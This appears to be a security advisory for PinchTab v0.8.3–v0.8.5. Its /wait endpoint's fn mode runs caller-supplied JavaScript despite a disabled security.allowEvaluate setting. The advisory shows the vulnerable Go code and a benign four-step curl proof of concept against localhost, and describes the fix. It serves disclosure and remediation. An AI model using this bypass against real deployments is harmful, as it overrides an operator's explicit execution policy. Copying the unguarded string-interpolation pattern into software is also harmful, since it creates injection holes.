PinchTab v0.8.3 through v0.8.5 allow arbitrary JavaScript execution through POST /wait and POST /tabs/{id}/wait when the request uses fn mode, even if security.allowEvaluate is disabled.
POST /evaluate correctly enforces the security.allowEvaluate guard, which is disabled by default. However, in the affected releases, POST /wait accepted a user-controlled fn expression, embedded it directly into executable JavaScript, and evaluated it in the browser context without checking the same policy.
This is a security-policy bypass rather than a separate authentication bypass. Exploitation still requires authenticated API access, but a caller with the server token can execute arbitrary JavaScript in a tab context even when the operator explicitly disabled JavaScript evaluation.
The current worktree fixes this by applying the same policy boundary to fn mode in /wait that already exists on /evaluate, while preserving the non-code wait modes.
Issue 1 — /evaluate enforced the guard, /wait did not (v0.8.3 through v0.8.5):
The dedicated evaluate endpoint rejected requests when security.allowEvaluate was disabled:
// internal/handlers/evaluate.go — v0.8.5
func (h *Handlers) evaluateEnabled() bool {
return h != nil && h.Config != nil && h.Config.AllowEvaluate
}
func (h *Handlers) HandleEvaluate(w http.ResponseWriter, r *http.Request) {
if !h.evaluateEnabled() {
httpx.ErrorCode(w, 403, "evaluate_disabled", httpx.DisabledEndpointMessage("evaluate", "security.allowEvaluate"), false, map[string]any{
"setting": "security.allowEvaluate",
})
return
}
// ...
}
In the same releases, /wait did not apply that guard before evaluating fn:
// internal/handlers/wait.go — v0.8.5 (vulnerable)
func (h *Handlers) handleWaitCore(w http.ResponseWriter, r *http.Request, req waitRequest) {
mode := req.mode()
if mode == "" {
httpx.Error(w, 400, fmt.Errorf("one of selector, text, url, load, fn, or ms is required"))
return
}
// No evaluateEnabled() check here in affected releases
// ...
}
Issue 2 — fn mode evaluated caller-supplied JavaScript directly:
The fn branch built executable JavaScript from the request field and passed it to chromedp.Evaluate:
// internal/handlers/wait.go — v0.8.5 (vulnerable)
case "fn":
js = fmt.Sprintf(`!!(function(){try{return %s}catch(e){return false}})()`, req.Fn)
matchLabel = "fn"
// Poll loop
evalErr := chromedp.Run(tCtx, chromedp.Evaluate(js, &result))
Because req.Fn was interpolated directly into evaluated JavaScript, a caller could supply expressions with side effects, not just passive predicates.
Issue 3 — Current worktree contains an unreleased fix:
The current worktree closes this gap by making fn mode in /wait respect the same security.allowEvaluate policy boundary that /evaluate already enforced. The underlying non-code wait modes remain available.
Prerequisites
v0.8.3, v0.8.4, or v0.8.5security.allowEvaluate = falseStep 1 — Confirm /evaluate is blocked by policy
curl -s -X POST http://localhost:9867/evaluate \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{"expression":"1+1"}'
Expected:
{
"code": "evaluate_disabled"
}
Step 2 — Open a tab
curl -s -X POST http://localhost:9867/navigate \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{"url":"https://example.com"}'
Example result:
{
"tabId": "<TAB_ID>",
"title": "Example Domain",
"url": "https://example.com/"
}
Step 3 — Execute JavaScript through /wait using fn mode
curl -s -X POST http://localhost:9867/wait \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"tabId":"<TAB_ID>",
"fn":"(function(){window._poc_executed=true;return true})()",
"timeout":5000
}'
Example result:
{
"waited": true,
"elapsed": 1,
"match": "fn"
}
Step 4 — Verify the side effect
curl -s -X POST http://localhost:9867/wait \
-H "Authorization: Bearer <TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"tabId":"<TAB_ID>",
"fn":"window._poc_executed === true",
"timeout":3000
}'
Example result:
{
"waited": true,
"elapsed": 0,
"match": "fn"
}
Observation
1. /evaluate returns evaluate_disabled when security.allowEvaluate is off.
2. /wait still evaluates caller-supplied JavaScript through fn mode in the affected releases.
3. The first /wait request introduces a side effect in page state.
4. The second /wait request confirms that the side effect occurred, demonstrating arbitrary JavaScript execution despite the disabled evaluate policy.
security.allowEvaluate control in v0.8.3 through v0.8.5./evaluate and /wait, making the configured execution policy unreliable.fn mode in /wait enforce the same policy check as /evaluate.| Score | Percentile |
|---|---|
| 0.07% | 22.53% |
| Base score | Version | Severity | Vector |
|---|---|---|---|
| 6.1 | 4.0 | — |
|
| Type | Value |
|---|---|
| GHSA | GHSA-w5pc-m664-r62v ↗ |
| CVE | CVE-2026-33622 ↗ |
Vulnerable version ranges and first patched releases as published by GitHub.
| Ecosystem | Package | Vulnerable range | First patched | Vulnerable functions |
|---|---|---|---|---|
| go | github.com/pinchtab/pinchtab/cmd/pinchtab | >= 0.8.3, <= 0.8.5 | — | — |
| go | github.com/pinchtab/pinchtab | >= 0.8.3 | — | — |